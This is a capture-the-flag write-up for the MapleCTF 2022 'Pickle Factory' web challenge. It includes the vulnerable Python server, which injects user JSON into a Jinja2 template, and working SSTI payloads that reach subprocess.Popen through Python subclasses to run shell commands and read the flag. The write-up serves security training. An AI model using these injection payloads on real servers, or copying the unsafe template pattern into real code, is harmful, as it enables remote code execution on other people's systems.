## Challenge description  
My cousin said he once got fired for putting his p*ckle into the pickle slicer
at his old workplace. Can you confirm that it's true for me?

## Functionality

After opening the challenge url we see two forms.  
![](https://files.bitwarriors.net/images/MBCTF2022/mainapp.png)  
  
  
After entering some JSON text on the first one we can see that the app
responds back with an ID.  
![](https://files.bitwarriors.net/images/MBCTF2022/id.png)  
  
  
We can then enter this ID on the second form and we get back a python byte
string and some ascii love from the challenge creator ?.  
![](https://files.bitwarriors.net/images/MBCTF2022/love.png)  
## Code review  
Folder structure:  
```  
├── docker-compose.yml  
└── hosted  
├── app.py  
├── Dockerfile  
├── .gitignore  
├── requirements.txt  
└── templates  
└── index.html  
```  
The file that is of most value to us is `app.py` which contains all of the
logic of the challenge.  
  
  
It contains the class `PickleFactoryHandler`, which is responsible for
handling GET and POST requests by inheriting from the `http.server` python
module  
There are also two functions, `render_template_string_sanitized` which is an
input blacklist and `generate_random_hexstring` which generates the ID's we
saw above.  
```py  
import random  
import json  
import pickle  
from http.server import BaseHTTPRequestHandler, HTTPServer  
from urllib.parse import urlparse, unquote_plus  
from jinja2 import Environment

pickles = {}

env = Environment()

class PickleFactoryHandler(BaseHTTPRequestHandler):  
def do_GET(self):  
parsed = urlparse(self.path)  
if parsed.path == "/":  
self.send_response(200)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
with open("templates/index.html", "r") as f:  
self.wfile.write(f.read().encode())  
return  
elif parsed.path == "/view-pickle":  
params = parsed.query.split("&")  
params = [p.split("=") for p in params]  
uid = None  
filler = "##"  
space = "__"  
for p in params:  
if p[0] == "uid":  
uid = p[1]  
elif p[0] == "filler":  
filler = p[1]  
elif p[0] == "space":  
space = p[1]  
if uid == None:  
self.send_response(400)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write("No uid specified".encode())  
return  
if uid not in pickles:  
self.send_response(404)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write(  
"No pickle found with uid {}".format(uid).encode())  
return  
large_template = """  
  
<html>  
<head>  
<title> Your Pickle </title>  
<style>  
html * {  
font-size: 12px;  
line-height: 1.625;  
font-family: Consolas; }  
</style>  
</head>  
<body>  
` """ + str(pickles[uid]) + """ `  
<h2> Sample good: </h2>  
{% if True %}  
{% endif %}  
{{space*59}}  
{% if True %}  
{% endif %}  
{{space*6+filler*5+space*48}}  
{% if True %}  
{% endif %}  
{{space*4+filler*15+space*27+filler*8+space*5}}  
{% if True %}  
{% endif %}  
{{space*3+filler*20+space*11+filler*21+space*4}}  
{% if True %}  
{% endif %}  
{{space*3+filler*53+space*3}}  
{% if True %}  
{% endif %}  
{{space*3+filler*54+space*2}}  
{% if True %}  
{% endif %}  
{{space*2+filler*55+space*2}}  
{% if True %}  
{% endif %}  
{{space*2+filler*56+space*1}}  
{% if True %}  
{% endif %}  
{{space*3+filler*55+space*1}}  
{% if True %}  
{% endif %}  
{{space*3+filler*55+space*1}}  
{% if True %}  
{% endif %}  
{{space*4+filler*53+space*2}}  
{% if True %}  
{% endif %}  
{{space*4+filler*53+space*2}}  
{% if True %}  
{% endif %}  
{{space*5+filler*51+space*3}}  
{% if True %}  
{% endif %}  
{{space*7+filler*48+space*4}}  
{% if True %}  
{% endif %}  
{{space*9+filler*44+space*6}}  
{% if True %}  
{% endif %}  
{{space*13+filler*38+space*8}}  
{% if True %}  
{% endif %}  
{{space*16+filler*32+space*11}}  
{% if True %}  
{% endif %}  
{{space*20+filler*24+space*15}}  
{% if True %}  
{% endif %}  
{{space*30+filler*5+space*24}}  
{% if True %}  
{% endif %}  
{{space*59}}  
{% if True %}  
{% endif %}  
</body>  
</html>  
"""  
try:  
res = env.from_string(large_template).render(  
filler=filler, space=space)  
self.send_response(200)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write(res.encode())  
except Exception as e:  
print(e)  
self.send_response(500)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write("Error rendering template".encode())  
return  
else:  
self.send_response(404)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write("Not found".encode())  
return

def do_POST(self):  
parsed = urlparse(self.path)  
if parsed.path == "/create-pickle":  
length = int(self.headers.get("content-length"))  
body = self.rfile.read(length).decode()  
try:  
data = unquote_plus(body.split("=")[1]).strip()  
data = json.loads(data)  
pp = pickle.dumps(data)  
uid = generate_random_hexstring(32)  
pickles[uid] = pp  
self.send_response(200)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write(uid.encode())  
return  
except Exception as e:  
print(e)  
self.send_response(400)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write("Invalid JSON".encode())  
return  
else:  
self.send_response(404)  
self.send_header("Content-type", "text/html")  
self.end_headers()  
self.wfile.write("Not found".encode())  
return

def render_template_string_sanitized(env, template, **args):  
# it works!  
global_vars = ['self', 'config', 'request', 'session', 'g', 'app']  
for var in global_vars:  
template = "{% set " + var + " = None %}\n" + template  
return env.from_string(template).render(**args)

def generate_random_hexstring(length):  
return "".join(random.choice("0123456789abcdef") for _ in range(length))

if __name__ == "__main__":  
PORT = 9229  
with HTTPServer(("", PORT), PickleFactoryHandler) as httpd:  
print(f"Listening on 0.0.0.0:{PORT}")  
httpd.serve_forever()  
```  
## JSON => pickle => SSTI  
After testing out some inputs i noticed that if we enter a JSON object it gets
parsed and it's keys are not converted to hex, we can confirm this at lines
`158`, `159` and by testing the classic {{7*7}} payload.  
  
  
inputs:  
```  
{"reflectedValue":2}  
{"{{7*7}}":2}  
```

![](https://files.bitwarriors.net/images/MBCTF2022/reflected.png)  
![](https://files.bitwarriors.net/images/MBCTF2022/ssti1.png)

I tried testing out some common SSTI payloads but let's not forget, there is a
blacklist implemented so we have to take in to account these restrictions.

I tried out this payload to see what classes we have available:  
```  
{"{% for c in ''.__class__.__base__.__subclasses__() %} {{ '\n' }} {{ c }} {{
'\n' }} {% endfor %}":2}  
```

After seeing the output we can confirm that the `subproccess.Popen` class is
available with index `340`, perfect! that's our RCE.

![](https://files.bitwarriors.net/images/MBCTF2022/subpr.png)

```  
{"{{''.__class__.__base__.__subclasses__()[340]('ls',shell=True,stdout=-1).communicate()[0].strip()}}":2}  
```  
![](https://files.bitwarriors.net/images/MBCTF2022/ls.png)

We can see that there's a file `flag.log`, ladies and gentlement, we got em!  
```  
{"{{''.__class__.__base__.__subclasses__()[340]('cat
flag.log',shell=True,stdout=-1).communicate()[0].strip()}}":2}  
```

![](https://files.bitwarriors.net/images/MBCTF2022/flag.png)

Contributors: `jimman2003`  

Original writeup (https://blog.bitwarriors.net/blog/maple-ctf-2022-pickle-
factory-web/).